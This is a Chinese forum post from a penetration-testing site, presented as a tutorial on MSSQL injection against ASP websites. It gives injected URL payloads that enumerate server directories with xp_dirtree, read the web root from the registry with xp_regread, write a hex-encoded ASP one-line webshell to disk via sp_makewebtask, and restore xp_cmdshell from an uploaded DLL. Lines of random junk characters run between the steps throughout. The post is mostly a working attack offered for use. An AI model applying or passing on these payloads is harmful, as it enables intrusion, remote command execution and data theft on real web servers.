中国网络渗透测试联盟
标题:
MSsqlL注入取得网站路径最好的方法
[打印本页]
作者:
admin
时间:
2012-9-13 17:20
标题:
MSsqlL注入取得网站路径最好的方法
好,我们exec master..xp_dirtree'd:/test'
' l7 H0 S D& _; T3 q
假设我们在test里有两个文件夹test1和test2在test1里又有test3
! G( [$ U: ~) S0 e6 j
结果显示
- P# M! W/ z- H9 J' C5 E# y
* m9 h# P4 A1 m& V C
subdirectory depth
C/ @ `! T% ~( ^/ ^
test1 1
: K) z; e) S8 R: l& T3 o( \& P
test3 2
. p* J1 O$ }' Z4 K
test2 1
- a6 X( S/ a9 `! T
, y" J) d/ ~/ N: ~! p) y- `' _
哈哈发现没有那个depth就是目录的级数
0 Z5 c/ U! L7 i9 Q
ok了,知道怎么办了吧
: j" [4 o) W8 q; e9 B
% i/ l( v- h1 z) [
http://www.xxxxx.com/down/list.asp?id=1;create
table dirs(paths varchar(1000),id int)--
+ K! l o; E3 N3 o
http://www.xxxxx.com/down/list.asp?id=1;insert
dirs exec master.dbo.xp_dirtree 'd:\' --
! {7 _" ]; f+ T: L# c
http://www.xxxxx.com/down/list.asp?id=1
and 0<>(select top 1 paths from dirs where id=1)-
R$ Q# _: @. |3 E* `2 P
3 @0 s* J% ?( z. q1 k
只要加上id=1,就是第一级目录 。
! J' |9 u" n1 Q! m5 ~
7 B( w! d1 ^( p
, c# [* f% V" {0 G. D
通过注册表读网站路径:
1 ~1 D2 F) ]* W' U+ x5 K
& G; @ R1 E1 a
1.;create table [dbo].[cyfd] ([gyfd][char](255));
9 u- E5 ` p% P' W" k: d9 `3 l
. F, R# i( w4 z- M$ s0 ~+ Q8 s
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
( N: L2 x. L) \& B" c
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
& p8 J: M! L( `
& K4 q- ~( f% E; ~! c+ ?, c
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
% k* w; v, q5 M
and 1=(select count(*) from cyfd where gyfd > 1)
1 c+ ]& C4 K# x; y- O' _9 P* E
这样IE报错,就把刚才插进去的Web路径的值报出来了
3 a" E, w% X0 G, Y% M+ t5 r
9 N! _5 {8 d8 v
4.drop table cyfd;-- 删除临时表
# a6 e5 D' D8 ~ b9 W
( Z8 b8 P1 {, J/ F
获得webshell方法:
; g5 e0 _3 j$ H, X7 R& K( x7 J
1.create table cmd (a image)-- \**cmd是创建的临时表
( C8 ]9 e. [4 W$ i z" S1 X
* Z$ B. c9 r0 r4 G+ Z* z
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
2 u3 { Y$ Y' R3 |' H1 s( l4 i) G1 |2 q
( r4 T3 ?% P* x/ Z, C; [4 X
) y5 l7 q- V( x
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
- q! [ k C6 {6 o+ X* v) D. {
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
( m+ q( M' n3 U/ p) e7 Y; B0 H! ?
8 {" `& u/ H9 Z" O h5 k o! ?
4.drop table cmd;-- 删除cmd临时表
" u5 s# T x; Q! T' r8 j9 Q5 N
/ M. Q/ r+ W& K0 J* I; s
恢复xp_cmdshell方法之一:
# K1 K/ a. [/ a/ ?
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
4 _! Q( U$ }' j+ h0 |+ x; t2 V9 h& ?
http://www.something.com/script.asp?id=2;EXEC
master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
7 Z8 F5 f' m7 n! h" [+ x9 o4 X
恢复,支持绝对路径的恢复哦。:)
! r6 `/ \7 |# P2 M5 S% P
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2